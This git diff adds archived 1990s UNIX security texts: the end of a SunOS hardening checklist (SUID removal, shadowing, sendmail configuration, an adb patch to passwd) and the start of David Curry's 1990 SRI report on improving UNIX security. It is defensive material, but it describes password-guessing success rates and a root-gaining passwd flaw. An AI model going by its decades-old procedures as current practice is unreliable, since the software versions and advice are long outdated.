Why: + Without these entries ownership of console devices will not be properly + set. + More info: fbtab(5) + ++ add umask 022 to /etc/rc & /.login + Why: + Prevent key files created during startup and root operation from + being created world writeable. Note you may want to set umask in + /.login to 077 instead of 022 + More info: umask(1), rc(8) + ++ chmod go-w /etc/* ; chmod g+w /etc/dumpdates + Why: + None of these file in /etc should require write access + by world except for dumpdate, which requires group write access. + More info: chmod(1), aliases(5), state(5), utmp(5V), remote(5), rmtab(5) + ++ edit /etc/rc.local to comment change part that chmod's 666 motd + Why: + /etc/motd is the normal system's message of the day; it won't + allow people to gain root access, but it could be a nuisance if they + can change this anonymously. Additionally it is important to + ensure that the line "rm -f /tmp/t1" is at the begining of this part. + ++ Chmod u-s the following files unless you specifically use them: + Why: + Changing the modes for those file which you will not be using + helps prevent would be crackers from exploiting unknown security + flaws in these files which could be used to compromise your system. + + /usr/bin/cu /usr/bin/tip /usr/bin/fusage + /usr/bin/nsquery /usr/bin/uucp /usr/bin/uuname + /usr/bin/uustat /usr/bin/uux /usr/ucb/rcp + /usr/ucb/rdist /usr/ucb/rlogin /usr/lib/uucp/uusched + /usr/lib/uucp/uuxqt /usr/ucb/rsh /usr/lib/uucp/uucico + /usr/games/hack /usr/games/chesstool /usr/games/fortune + /usr/lib/exrecover /usr/games/robots /usr/lib/uucp/remote.unknown + /usr/games/hack /usr/games/snake /usr/bin/sunview1/sv_release + /usr/etc/rfsetup + /usr/bin/allocate - used with C2 security. + /usr/ucb/quota - used with disk quotas + /usr/lib/expreserve - used to recover edit session that died. + + Following may only be needed to be run by user root; as such, they would + not need to be SUID root: + /usr/etc/shutdown /usr/lib/acct/accton + + More info: lots of man pages ;-) + ++ chmod g-s the following file unless you specifically use them: + Why: + Changing the modes for those file which you will not be using helps + prevent would be crackers from exploiting unknown security flaws + in these files which could be used to compromise your system. + + /usr/bin/wall /usr/etc/trpt /usr/bin/sunview1/toolplaces + /usr/bin/iostat /usr/bin/ipcs /usr/ucb/vmstat + /usr/ucb/netstat /usr/etc/arp /usr/etc/dmesg + /usr/etc/dkinfo /usr/etc/chill /usr/etc/dumpfs + /usr/etc/devinfo /usr/etc/nfsstat /usr/old/perfmon + /openwin/bin/xload /usr/kvm/pstat /usr/kvm/crash + /usr/kvm/getcons /usr/etc/kgmon /usr/etc/trpt + + More info: lots of man pages ;-) + ++ edit syslog.conf -- uncomment auth & mail lines + Why: + The enables improved loging of logins and su's be prepared for lots of + data. + More info: syslog.conf(5) + ++ chmod 640 /vmunix; chgrp kmem /vmunix ; + Why: + Prevent crackers from finding out more about your kernel configuration. + + +Changes to ID management ------ + ++ Disable SUID passwd (if using NIS) or -F option in /bin/passwd + Why: + Here two options exist: + 1) you are using NIS for your user database; so you don't need + /bin/passwd (and the two hard links to it /bin/chfn & /bin/chsh) + to be SUID root. + 2) You will have local entries in your /etc/passwd that you would + like to be able to change thier own passwd. Then please note that + /bin/passwd has a race condition that can be exploited to write to + files as root, allowing a cracker to gain root access. + + In either case yppasswd (and ypchfn & ypchsh) does not need to + be SUID root. + How: + In all cases - cd /bin; chmod u-s yppasswd ypchfn ypchsh + Option 1 - cd /bin; chmod u-s passwd chfn chsh + Option 2a - Replace passwd with a proactive (check for bad passwds) + passwd program. Ref 7. + Option 2b - Do a binary edit of passwd (sun's code) as shown below: + # cd /bin + # cp passwd passwd.old; chmod 700 passwd.old + # adb -w - passwd + not core file = passwd + /l 'F:' + 0x68de This address is required in the following step: + 0x68de/w 0 + 0x68de: 0x463a = 0x0 + + # chmod 4711 /bin/passwd + Note: The following files should all contain the same code, and + be SUID root (unless chmod u-s was done above). If you intend + to use any of these, ensure they are a link to the modified + file /bin/passwd: yppasswd, ypchfn, ypchsh, chfn, chsh. + More info: Ref. 6 [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX + ++ remove ID sync::: + Why: + This ID is created to enable the admin to sync the file system before a + system crash. It defaults without and password, and can be abused to + gain access to the system. The simplest solution is to live without + this feature and remove this ID. + More info: passwd(5) + ++ Implement shadowing + Why: + To restrict access to all users' encrypted passwords. Even though + passwords are encrypted, Crack (a publicly available program) can + be used to effectively guess users' passwords. + How: + This can be done two different ways: + 1. by implementing Sun's C2 security package, which + provides additional auditing. I've found that this auditing can be + troublesome to maintain and I didn't have need for the extensive data. + 2. the second option is to implement shadowing but not C2, this + procedure is fully explained in detail in Ref. 5. In short: + - ensure patch 100564 is installed, (note this also implements + securenets for NIS) + - split /etc/passwd into /etc/passwd & /etc/security/passwd.adjunct + - split /etc/group into /etc/group & /etc/security/group.adjunct + - add required Audit users (even if not implementing auditing) + - comment out the part of rc.local that starts audit + - reboot. + The existence of the file /etc/security/passwd.adjunct has several + other effects in rc.local that improve system security; (ypbind -s + and rpc.mountd without -n). + More info: Ref 5 + ++ ensure all ID's have passwd + Why: + Any ID without a password provides open access to your system, + Root comes without a password. + More info: passwd(5) + +Modify mail system ----- + Why: + The sendmail program itself has been notorious for numerous bugs that + gave crackers root access illegitimately. This is a huge topic and + should be a paper or book in itself. I claim no expertise here, and + to my great fortune my sendmail experience is limited. ;-) + There are several different possible configurations and options + I'll outline them and point you to further References. + + Host configuration: + 1. If you intend to send and receive mail directly on your machine. + Options are: + a. Live with sendmail - install the newest version 8.6.9 (currently) + - ensure a mail file is always in existence for all users + Ref.10 &11. + - "chmod u-s /bin/mail" and change sendmail to use "procmail" + or mail.local Ref. 17 + Ref.where to get??? + - change sendmail default UID in sendmail.cf to 65534 "Ou65534" + - turn on security features of sendmail: + "Opauthwarnings needmailhelo noexpn novrfy restrictmailq" + Refs. 2 [Cheswick & Bellovin 94] & 9 [Costales 93] + + b. Install zmailer -- Ref 8 [URL to zmailer package] + - zmailer does not use /bin/mail so chmod u-s /bin/mail + + 2. If mail for your host is received on a different host (ie. local mail + delivery is handled by another host). Here your system should only + need to support outgoing mail. To prevent the sendmail daemon from + being started comment out the part or /etc/rc.local that starts + sendmail. For outgoing mail: + a. install latest version of sendmail. + - see config 1 for thing to change in sendmail config. + - since mail delivery is being handled by main mail host + there is no need for /bin/mail so - chmod u-s /bin/mail + b. Install zmailer -- Ref 8 [URL to zmailer package] + - zmailer does not use /bin/mail so chmod u-s /bin/mail + + 3. No need for mail whatsoever on this machine + (incoming, outgoing, or internal). + This is certainly most secure mode because e-mail will not be able to + be sent from or to this machine. This basic restriction of outside + access will prevent abuse of that access. + How: + To disable mail totally: + - chmod u-s /usr/lib/sendmail & /usr/lib/sendmail.mx & /bin/mail + - comment out the part of rc.local that starts sendmail + + +Packages to enable better monitoring and security: +------------------------ + ++ tripwire - Ref.13. + - Include all suid & sgid file in config. + - I've modified COPS script to check this with every run, awaiting + response from Dan Farmer if he minds my releasing script. ++ tcp wrappers - Ref.4. ++ Cops - Ref. 14 + - Set up to run each night - be careful to check the + bitbucket output to ensure that it is working properly. ++ Modified portmapper, login, rshd, rlogind, pidentd from W. Venema + Ref. 15 ++ TAMU tiger scripts - Ref. 16. + +Note: the Australian group SERT has put together a package called +MegaPatch that includes several of these packages as well as many +of the patches to SunOS previously mentioned. Ref. 18 + +References +---------- + +[1] Dan Farmer & Wietse Venema, "Improving the security of your Site by +Breaking Into it", 1993. +URL:ftp.win.tue.nl:/pub/security/admin-guide-to-cracking.Z + +[2] W. Cheswick & S. Bellovin, "Firewalls and Internet Security," Addison- +Wesley, April 94. + +[3] H. Stern, "Managing NFS & NIS", O'Reilly & Associates, April 92 + +[4] Wietse Venema, "TCP WRAPPER: Network monitoring, access control and +booby traps," Proceedings of the Third Usenix Unix Security Symposium, +pg 85-92. +URL:ftp.win.tue.nl:/pub/security/tcp_wrapper.ps.Z (paper - .txt.Z avail) +URL:ftp.win.tue.nl:/pub/security/tcp_wrappers_6.3.shar.Z (package) + + +[5] Eric Oliver, "How to shadow without C2 Auditing", June 94 +URL:ftp.Hawaii.Edu:/???????? + +[6] [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX + +[7] Proactive password changing programs + (There are several this is the only one who's URL I had available) +URL:info.mcs.anl.gov:/pub/systems/anlpasswd-2.2.tar.Z + +[8] Zmailer package - +URL: cs.toronto.edu:/pub/zmailer.tar.Z + /pub/zmailer.README + +[9] Bryan Costales, Eric Allman & Neil Rickert, "Sendmail," +O'Reilly & Associates, June 93 + +8lgm advisories are avaiable though the 8lgm file server - + 8lgm-fileserver@bagpuss.demon.co.uk +[10] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992 +[11] [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992.PATCH +[12] [8lgm]-Advisory-6.UNIX.mail2.2-May-1994 + +[13] Tripwire - Gene Kim & Gene Spafford 1994 +URL:ftp.cs.purdue.edu:/pub/spaf/COAST/Tripwire + +[14] Cops - Dan Farmer & Gene Spafford 1990 +URL:ftp.cert.org:/pub/tools/cops + +[15] portmapper, login, rshd, rlogind - Wietse Venema +URL:ftp.win.tue.nl:/pub/security/portmap.shar.Z +URL:ftp.win.tue.nl:/pub/security/logdaemon-XX.tar.Z + +[16] TAMU tiger script. - Safford et al 93 +URL:net.tamu.edu/pub/security/TAMU + +[17] Local mail delivery agents: +URL:ftp.informatik.rwth-aachen.de:/pub/packages/procmail +URL:ftp ---- ????? mail.local Joerg Czeranski + +[18] MegaPatch - SERT +URL:ftp.sert.edu.au:/security/sert/tools/MegaPatch.1.7.tar.Z + +[19] Source Routinng Patch - +URL:ftp.greatcircle.com:/pub/firewalls/digest/v03.n153.Z + +Acknowledgements: +Thanks to all the people in comp.security.unix who offered their +suggestions, and thanks to the following people for their kind review: + casper@fwi.uva.nl (Casper Dik) + baron@uhunix.uhcc.Hawaii.Edu (Baron K Fujimoto) + rgoodman@uhunix.uhcc.Hawaii.Edu (Becky Goodman) + newsham@uhunix.uhcc.Hawaii.Edu (Tim Newsham) + andys@unipalm.co.uk (Andy Smith) + + +------ Other Thoughts for future development & other --- + Didn't have enough time to do these as well as I'd like. + ++ disable routed (standard routing table) + Prevents receiving a false routing table. + ++ remove /dev/nit? + ++ Customizing ruserok() - a bit beyond the basics but here's some info: + If you have source license to 4.1.3 modify the routine + ruserok() to return -1 for the cases you wish to disallow. + To disable .rhosts authentication entirely, simply have this routine + return -1. Look at the file /usr/lib/shlib.etc/README for how to modify + libc.so, note: also make the following changes: + in the file /usr/lib/shlib.etc/README below the line + % mv rpc_commondata. rpc_commondata.o + insert + % mv xccs.multibyte. xccs.multibyte.o + in the Makefile: + change the lines below to read as they do here: + OBJSORT=/usr/lib/shlib.etc/objsort + AWKFILE=/usr/lib/shlib.etc/awkfile + and add the -ldl option at the end of both ld command lines. + + More info: ruserok(3), hosts.equiv(5) + source code file /lib/libc/net/rcmd.c Ref. 4, Ref. 15 + +-- + tmk + +----------------------------------------------------------------------- +Tom M. Kroeger Pray for wind +University of Hawaii Computing Center \ Pray for waves and +2565 The Mall, Keller Hall |\ Pray it's your day off! +Honolulu HI 96822 (808) 956-2408 |~\ +e-mail: tmk@uhunix.uhcc.hawaii.edu |__\ + ,----+-- + diff --git a/textfiles.com/hacking/UNIX/security.txt b/textfiles.com/hacking/UNIX/security.txt new file mode 100644 index 00000000..30ea1cd0 --- /dev/null +++ b/textfiles.com/hacking/UNIX/security.txt @@ -0,0 +1,4357 @@ + + + + + + + + + + + Final Report + April 1990 + + + + IMPROVING THE SECURITY OF YOUR + UNIX SYSTEM + + + David A. Curry, Systems Programmer + Information and Telecommunications Sciences and + Technology Division + + ITSTD-721-FR-90-21 + + + + + + + + + + + + + + + + + + + + + Approved: + + Paul K. Hyder, Manager + Computer Facility + + Boyd C. Fair, General Manager + Division Operations Section + + Michael S. Frankel, Vice President + Information and Telecommunications Sciences and + Technology Division + + + + + + + + + + SRI International 333 Ravenswood Avenue + Menlo Park, CA 94025 + + (415) 326-6200 + FAX: (415) 326-5512 + Telex: 334486 + + + + + + + + + + + CONTENTS + + + + 1 INTRODUCTION........................................... 1 + 1.1 UNIX Security.......................................... 1 + 1.2 The Internet Worm...................................... 2 + 1.3 Spies and Espionage.................................... 3 + 1.4 Other Break-Ins........................................ 4 + 1.5 Security is Important.................................. 4 + + 2 IMPROVING SECURITY..................................... 5 + 2.1 Account Security....................................... 5 + 2.1.1 Passwords.............................................. 5 + 2.1.1.1 Selecting Passwords.................................... 6 + 2.1.1.2 Password Policies...................................... 8 + 2.1.1.3 Checking Password Security............................. 8 + 2.1.2 Expiration Dates....................................... 9 + 2.1.3 Guest Accounts......................................... 10 + 2.1.4 Accounts Without Passwords............................. 10 + 2.1.5 Group Accounts and Groups.............................. 10 + 2.1.6 Yellow Pages........................................... 11 + 2.2 Network Security....................................... 12 + 2.2.1 Trusted Hosts.......................................... 13 + 2.2.1.1 The hosts.equiv File................................... 13 + 2.2.1.2 The .rhosts File....................................... 14 + 2.2.2 Secure Terminals....................................... 15 + 2.2.3 The Network File System................................ 16 + 2.2.3.1 The exports File....................................... 16 + 2.2.3.2 The netgroup File...................................... 17 + 2.2.3.3 Restricting Super-User Access.......................... 18 + 2.2.4 FTP.................................................... 19 + 2.2.4.1 Trivial FTP............................................ 20 + 2.2.5 Mail................................................... 21 + 2.2.6 Finger................................................. 22 + 2.2.7 Modems and Terminal Servers............................ 23 + 2.2.8 Firewalls.............................................. 23 + 2.3 File System Security................................... 24 + 2.3.1 Setuid Shell Scripts................................... 25 + 2.3.2 The Sticky Bit on Directories.......................... 26 + 2.3.3 The Setgid Bit on Directories.......................... 26 + 2.3.4 The umask Value........................................ 27 + 2.3.5 Encrypting Files....................................... 27 + 2.3.6 Devices................................................ 28 + 2.4 Security Is Your Responsibility........................ 29 + + 3 MONITORING SECURITY.................................... 31 + 3.1 Account Security....................................... 31 + 3.1.1 The lastlog File....................................... 31 + 3.1.2 The utmp and wtmp Files................................ 31 + 3.1.3 The acct File.......................................... 33 + 3.2 Network Security....................................... 34 + + + + iii + + + + + + + + + + + + CONTENTS (concluded) + + + + 3.2.1 The syslog Facility.................................... 34 + 3.2.2 The showmount Command.................................. 35 + 3.3 File System Security................................... 35 + 3.3.1 The find Command....................................... 36 + 3.3.1.1 Finding Setuid and Setgid Files........................ 36 + 3.3.1.2 Finding World-Writable Files........................... 38 + 3.3.1.3 Finding Unowned Files.................................. 38 + 3.3.1.4 Finding .rhosts Files.................................. 39 + 3.3.2 Checklists............................................. 39 + 3.3.3 Backups................................................ 40 + 3.4 Know Your System....................................... 41 + 3.4.1 The ps Command......................................... 41 + 3.4.2 The who and w Commands................................. 42 + 3.4.3 The ls Command......................................... 42 + 3.5 Keep Your Eyes Open.................................... 42 + + 4 SOFTWARE FOR IMPROVING SECURITY........................ 45 + 4.1 Obtaining Fixes and New Versions....................... 45 + 4.1.1 Sun Fixes on UUNET..................................... 45 + 4.1.2 Berkeley Fixes......................................... 46 + 4.1.3 Simtel-20 and UUNET.................................... 47 + 4.1.4 Vendors................................................ 47 + 4.2 The npasswd Command.................................... 48 + 4.3 The COPS Package....................................... 48 + 4.4 Sun C2 Security Features............................... 49 + 4.5 Kerberos............................................... 50 + + 5 KEEPING ABREAST OF THE BUGS............................ 51 + 5.1 The Computer Emergency Response Team................... 51 + 5.2 DDN Management Bulletins............................... 51 + 5.3 Security-Related Mailing Lists......................... 52 + 5.3.1 Security............................................... 52 + 5.3.2 RISKS.................................................. 52 + 5.3.3 TCP-IP................................................. 53 + 5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS...................... 53 + 5.3.5 VIRUS-L................................................ 53 + + 6 SUGGESTED READING...................................... 55 + + 7 CONCLUSIONS............................................ 57 + + REFERENCES..................................................... 59 + + APPENDIX A - SECURITY CHECKLIST................................ 63 + + + + + + + iv + + + + + + + + + + + SECTION 1 + + INTRODUCTION + + + 1.1 UNIX SECURITY + + + + The UNIX operating system, although now in widespread use + in environments concerned about security, was not really + designed with security in mind [Ritc75]. This does not mean + that UNIX does not provide any security mechanisms; indeed, + several very good ones are available. However, most ``out of + the box'' installation procedures from companies such as Sun + Microsystems still install the operating system in much the + same way as it was installed 15 years ago: with little or no + security enabled. + + The reasons for this state of affairs are largely histori- + cal. UNIX was originally designed by programmers for use by + other programmers. The environment in which it was used was + one of open cooperation, not one of privacy. Programmers typi- + cally collaborated with each other on projects, and hence pre- + ferred to be able to share their files with each other without + having to climb over security hurdles. Because the first sites + outside of Bell Laboratories to install UNIX were university + research laboratories, where a similar environment existed, no + real need for greater security was seen until some time later. + + In the early 1980s, many universities began to move their + UNIX systems out of the research laboratories and into the com- + puter centers, allowing (or forcing) the user population as a + whole to use this new and wonderful system. Many businesses + and government sites began to install UNIX systems as well, + particularly as desktop workstations became more powerful and + affordable. Thus, the UNIX operating system is no longer being + used only in environments where open collaboration is the goal. + Universities require their students to use the system for class + assignments, yet they do not want the students to be able to + copy from each other. Businesses use their UNIX systems for + confidential tasks such as bookkeeping and payroll. And the + government uses UNIX systems for various unclassified yet sen- + sitive purposes. + + To complicate matters, new features have been added to + UNIX over the years, making security even more difficult to + control. Perhaps the most problematic features are those + _________________________ + UNIX is a registered trademark of AT&T. VAX is a trademark of + Digital Equipment Corporation. Sun-3 and NFS are trademarks of + Sun Microsystems. Annex is a trademark of Xylogics, Inc. + + + + 1 + + + + + + + + + + + relating to networking: remote login, remote command execu- + tion, network file systems, diskless workstations, and elec- + tronic mail. All of these features have increased the utility + and usability of UNIX by untold amounts. However, these same + features, along with the widespread connection of UNIX systems + to the Internet and other networks, have opened up many new + areas of vulnerability to unauthorized abuse of the system. + + + 1.2 THE INTERNET WORM + + + + On the evening of November 2, 1988, a self-replicating + program, called a worm, was released on the Internet [Seel88, + Spaf88, Eich89]. Overnight, this program had copied itself + from machine to machine, causing the machines it infected to + labor under huge loads, and denying service to the users of + those machines. Although the program only infected two types + of computers,* it spread quickly, as did the concern, confu- + sion, and sometimes panic of system administrators whose + machines were affected. While many system administrators were + aware that something like this could theoretically happen - the + security holes exploited by the worm were well known - the + scope of the worm's break-ins came as a great surprise to most + people. + + The worm itself did not destroy any files, steal any + information (other than account passwords), intercept private + mail, or plant other destructive software [Seel88]. However, + it did manage to severely disrupt the operation of the network. + Several sites, including parts of MIT, NASA's Ames Research + Center and Goddard Space Flight Center, the Jet Propulsion + Laboratory, and the U. S. Army Ballistic Research Laboratory, + disconnected themselves from the Internet to avoid recontamina- + tion. In addition, the Defense Communications Agency ordered + the connections between the MILNET and ARPANET shut down, and + kept them down for nearly 24 hours [Eich89, Elme88]. Ironi- + cally, this was perhaps the worst thing to do, since the first + fixes to combat the worm were distributed via the network + [Eich89]. + + This incident was perhaps the most widely described com- + puter security problem ever. The worm was covered in many + newspapers and magazines around the country including the New + York Times, Wall Street Journal, Time and most computer- + oriented technical publications, as well as on all three major + _________________________ + * Sun-3 systems from Sun Microsystems and VAX systems from + Digital Equipment Corp., both running variants of 4.x BSD UNIX + from the University of California at Berkeley. + + + + + 2 + + + + + + + + + + + television networks, the Cable News Network, and National Pub- + lic Radio. In January 1990, a United States District Court + jury found Robert Tappan Morris, the author of the worm, guilty + of charges brought against him under a 1986 federal computer + fraud and abuse law. Morris faces up to five years in prison + and a $250,000 fine [Schu90]. Sentencing is scheduled for May + 4, 1990. + + + 1.3 SPIES AND ESPIONAGE + + + + In August 1986, the Lawrence Berkeley Laboratory, an + unclassified research laboratory at the University of Califor- + nia at Berkeley, was attacked by an unauthorized computer + intruder [Stol88, Stol89]. Instead of immediately closing the + holes the intruder was using, the system administrator, Clif- + ford Stoll, elected to watch the intruder and document the + weaknesses he exploited. Over the next 10 months, Stoll + watched the intruder attack over 400 computers around the + world, and successfully enter about 30. The computers broken + into were located at universities, military bases, and defense + contractors [Stol88]. + + Unlike many intruders seen on the Internet, who typically + enter systems and browse around to see what they can, this + intruder was looking for something specific. Files and data + dealing with the Strategic Defense Initiative, the space shut- + tle, and other military topics all seemed to be of special + interest. Although it is unlikely that the intruder would have + found any truly classified information (the Internet is an + unclassified network), it was highly probable that he could + find a wealth of sensitive material [Stol88]. + + After a year of tracking the intruder (eventually involv- + ing the FBI, CIA, National Security Agency, Air Force Intelli- + gence, and authorities in West Germany), five men in Hannover, + West Germany were arrested. In March 1989, the five were + charged with espionage: they had been selling the material + they found during their exploits to the KGB. One of the men, + Karl Koch (``Hagbard''), was later found burned to death in an + isolated forest outside Hannover. No suicide note was found + [Stol89]. In February 1990, three of the intruders (Markus + Hess, Dirk Bresinsky, and Peter Carl) were convicted of + espionage in a German court and sentenced to prison terms, + fines, and the loss of their rights to participate in elections + [Risk90]. The last of the intruders, Hans Hubner (``Pengo''), + still faces trial in Berlin. + + + + + + + 3 + + + + + + + + + + + 1.4 OTHER BREAK-INS + + + + Numerous other computer security problems have occurred in + recent years, with varying levels of publicity. Some of the + more widely known incidents include break-ins on NASA's SPAN + network [McLe87], the IBM ``Christmas Virus'' [Risk87], a virus + at Mitre Corp. that caused the MILNET to be temporarily iso- + lated from other networks [Risk88], a worm that penetrated DEC- + NET networks [Risk89a], break-ins on U. S. banking networks + [Risk89b], and a multitude of viruses, worms, and trojan horses + affecting personal computer users. + + + 1.5 SECURITY IS IMPORTANT + + + + As the previous stories demonstrate, computer security is + an important topic. This document describes the security + features provided by the UNIX operating system, and how they + should be used. The discussion centers around version 4.x of + SunOS, the version of UNIX sold by Sun Microsystems. Most of + the information presented applies equally well to other UNIX + systems. Although there is no way to make a computer com- + pletely secure against unauthorized use (other than to lock it + in a room and turn it off), by following the instructions in + this document you can make your system impregnable to the + ``casual'' system cracker,* and make it more difficult for the + sophisticated cracker to penetrate. + + + + + + + + + + + + _________________________ + * The term ``hacker,'' as applied to computer users, originally + had an honorable connotation: ``a person who enjoys learning the + details of programming systems and how to stretch their + capabilities - as opposed to most users of computers, who prefer + to learn only the minimum amount necessary'' [Stee88]. + Unfortunately, the media has distorted this definition and given + it a dishonorable meaning. In deference to the true hackers, we + will use the term ``cracker'' throughout this document. + + + + + 4 + + + + + + + + + + + + SECTION 2 + + IMPROVING SECURITY + + + + UNIX system security can be divided into three main areas + of concern. Two of these areas, account security and network + security, are primarily concerned with keeping unauthorized + users from gaining access to the system. The third area, file + system security, is concerned with preventing unauthorized + access, either by legitimate users or crackers, to the data + stored in the system. This section describes the UNIX security + tools provided to make each of these areas as secure as possi- + ble. + + + 2.1 ACCOUNT SECURITY + + + + One of the easiest ways for a cracker to get into a system + is by breaking into someone's account. This is usually easy to + do, since many systems have old accounts whose users have left + the organization, accounts with easy-to-guess passwords, and so + on. This section describes methods that can be used to avoid + these problems. + + + 2.1.1 Passwords + + + + The password is the most vital part of UNIX account secu- + rity. If a cracker can discover a user's password, he can then + log in to the system and operate with all the capabilities of + that user. If the password obtained is that of the super-user, + the problem is more serious: the cracker will have read and + write access to every file on the system. For this reason, + choosing secure passwords is extremely important. + + The UNIX passwd program [Sun88a, 379] places very few res- + trictions on what may be used as a password. Generally, it + requires that passwords contain five or more lowercase letters, + or four characters if a nonalphabetic or uppercase letter is + included. However, if the user ``insists'' that a shorter + password be used (by entering it three times), the program will + allow it. No checks for obviously insecure passwords (see + below) are performed. Thus, it is incumbent upon the system + administrator to ensure that the passwords in use on the system + are secure. + + + + 5 + + + + + + + + + + + In [Morr78], the authors describe experiments conducted to + determine typical users' habits in the choice of passwords. In + a collection of 3,289 passwords, 16% of them contained three + characters or less, and an astonishing 86% were what could gen- + erally be described as insecure. Additional experiments in + [Gram84] show that by trying three simple guesses on each + account - the login name, the login name in reverse, and the + two concatenated together - a cracker can expect to obtain + access to between 8 and 30 percent of the accounts on a typical + system. A second experiment showed that by trying the 20 most + common female first names, followed by a single digit (a total + of 200 passwords), at least one password was valid on each of + several dozen machines surveyed. Further experimentation by + the author has found that by trying variations on the login + name, user's first and last names, and a list of nearly 1800 + common first names, up to 50 percent of the passwords on any + given system can be cracked in a matter of two or three days. + + + 2.1.1.1 Selecting Passwords + + + + The object when choosing a password is to make it as dif- + ficult as possible for a cracker to make educated guesses about + what you've chosen. This leaves him no alternative but a + brute-force search, trying every possible combination of + letters, numbers, and punctuation. A search of this sort, even + conducted on a machine that could try one million passwords per + second (most machines can try less than one hundred per + second), would require, on the average, over one hundred years + to complete. With this as our goal, and by using the informa- + tion in the preceding text, a set of guidelines for password + selection can be constructed: + + + Don't use your login name in any form (as-is, + reversed, capitalized, doubled, etc.). + + + Don't use your first or last name in any form. + + + Don't use your spouse's or child's name. + + + Don't use other information easily obtained about + you. This includes license plate numbers, telephone + numbers, social security numbers, the brand of your + automobile, the name of the street you live on, etc. + + + Don't use a password of all digits, or all the same + letter. This significantly decreases the search time + for a cracker. + + + Don't use a word contained in (English or foreign + + + + 6 + + + + + + + + + + + language) dictionaries, spelling lists, or other + lists of words. + + + Don't use a password shorter than six characters. + + + Do use a password with mixed-case alphabetics. + + + Do use a password with nonalphabetic characters, + e.g., digits or punctuation. + + + Do use a password that is easy to remember, so you + don't have to write it down. + + + Do use a password that you can type quickly, without + having to look at the keyboard. This makes it harder + for someone to steal your password by watching over + your shoulder. + + Although this list may seem to restrict passwords to an + extreme, there are several methods for choosing secure, easy- + to-remember passwords that obey the above rules. Some of these + include the following: + + + Choose a line or two from a song or poem, and use the + first letter of each word. For example, ``In Xanadu + did Kubla Kahn a stately pleasure dome decree'' + becomes ``IXdKKaspdd.'' + + + Alternate between one consonant and one or two + vowels, up to eight characters. This provides non- + sense words that are usually pronounceable, and thus + easily remembered. Examples include ``routboo,'' + ``quadpop,'' and so on. + + + Choose two short words and concatenate them together + with a punctation character between them. For exam- + ple: ``dog;rain,'' ``book+mug,'' ``kid?goat.'' + + The importance of obeying these password selection rules + cannot be overemphasized. The Internet worm, as part of its + strategy for breaking into new machines, attempted to crack + user passwords. First, the worm tried simple choices such as + the login name, user's first and last names, and so on. Next, + the worm tried each word present in an internal dictionary of + 432 words (presumably Morris considered these words to be + ``good'' words to try). If all else failed, the worm tried + going through the system dictionary, /usr/dict/words, trying + each word [Spaf88]. The password selection rules above suc- + cessfully guard against all three of these strategies. + + + + + + + 7 + + + + + + + + + + + 2.1.1.2 Password Policies + + + + Although asking users to select secure passwords will help + improve security, by itself it is not enough. It is also + important to form a set of password policies that all users + must obey, in order to keep the passwords secure. + + First and foremost, it is important to impress on users + the need to keep their passwords in their minds only. Pass- + words should never be written down on desk blotters, calendars, + and the like. Further, storing passwords in files on the com- + puter must be prohibited. In either case, by writing the pass- + word down on a piece of paper or storing it in a file, the + security of the user's account is totally dependent on the + security of the paper or file, which is usually less than the + security offered by the password encryption software. + + A second important policy is that users must never give + out their passwords to others. Many times, a user feels that + it is easier to give someone else his password in order to copy + a file, rather than to set up the permissions on the file so + that it can be copied. Unfortunately, by giving out the pass- + word to another person, the user is placing his trust in this + other person not to distribute the password further, write it + down, and so on. + + Finally, it is important to establish a policy that users + must change their passwords from time to time, say twice a + year. This is difficult to enforce on UNIX, since in most + implementations, a password-expiration scheme is not available. + However, there are ways to implement this policy, either by + using third-party software or by sending a memo to the users + requesting that they change their passwords. + + This set of policies should be printed and distributed to + all current users of the system. It should also be given to + all new users when they receive their accounts. The policy + usually carries more weight if you can get it signed by the + most ``impressive'' person in your organization (e.g., the + president of the company). + + + 2.1.1.3 Checking Password Security + + + + The procedures and policies described in the previous sec- + tions, when properly implemented, will greatly reduce the + chances of a cracker breaking into your system via a stolen + account. However, as with all security measures, you as the + + + + 8 + + + + + + + + + + + system administrator must periodically check to be sure that + the policies and procedures are being adhered to. One of the + unfortunate truisms of password security is that, ``left to + their own ways, some people will still use cute doggie names as + passwords'' [Gram84]. + + The best way to check the security of the passwords on + your system is to use a password-cracking program much like a + real cracker would use. If you succeed in cracking any pass- + words, those passwords should be changed immediately. There + are a few freely available password cracking programs distri- + buted via various source archive sites; these are described in + more detail in Section 4. A fairly extensive cracking program + is also available from the author. Alternatively, you can + write your own cracking program, and tailor it to your own + site. For a list of things to check for, see the list of + guidelines above. + + + 2.1.2 Expiration Dates + + + + Many sites, particularly those with a large number of + users, typically have several old accounts lying around whose + owners have since left the organization. These accounts are a + major security hole: not only can they be broken into if the + password is insecure, but because nobody is using the account + anymore, it is unlikely that a break-in will be noticed. + + The simplest way to prevent unused accounts from accumu- + lating is to place an expiration date on every account. These + expiration dates should be near enough in the future that old + accounts will be deleted in a timely manner, yet far enough + apart that the users will not become annoyed. A good figure is + usually one year from the date the account was installed. This + tends to spread the expirations out over the year, rather than + clustering them all at the beginning or end. The expiration + date can easily be stored in the password file (in the full + name field). A simple shell script can be used to periodically + check that all accounts have expiration dates, and that none of + the dates has passed. + + On the first day of each month, any user whose account has + expired should be contacted to be sure he is still employed by + the organization, and that he is actively using the account. + Any user who cannot be contacted, or who has not used his + account recently, should be deleted from the system. If a user + is unavailable for some reason (e.g., on vacation) and cannot + be contacted, his account should be disabled by replacing the + encrypted password in the password file entry with an asterisk + (*). This makes it impossible to log in to the account, yet + + + + 9 + + + + + + + + + + + leaves the account available to be re-enabled on the user's + return. + + + 2.1.3 Guest Accounts + + + + Guest accounts present still another security hole. By + their nature, these accounts are rarely used, and are always + used by people who should only have access to the machine for + the short period of time they are guests. The most secure way + to handle guest accounts is to install them on an as-needed + basis, and delete them as soon as the people using them leave. + Guest accounts should never be given simple passwords such as + ``guest'' or ``visitor,'' and should never be allowed to remain + in the password file when they are not being used. + + + 2.1.4 Accounts Without Passwords + + + + Some sites have installed accounts with names such as + ``who,'' ``date,'' ``lpq,'' and so on that execute simple com- + mands. These accounts are intended to allow users to execute + these commands without having to log in to the machine. Typi- + cally these accounts have no password associated with them, and + can thus be used by anyone. Many of the accounts are given a + user id of zero, so that they execute with super-user permis- + sions. + + The problem with these accounts is that they open poten- + tial security holes. By not having passwords on them, and by + having super-user permissions, these accounts practically + invite crackers to try to penetrate them. Usually, if the + cracker can gain access to the system, penetrating these + accounts is simple, because each account executes a different + command. If the cracker 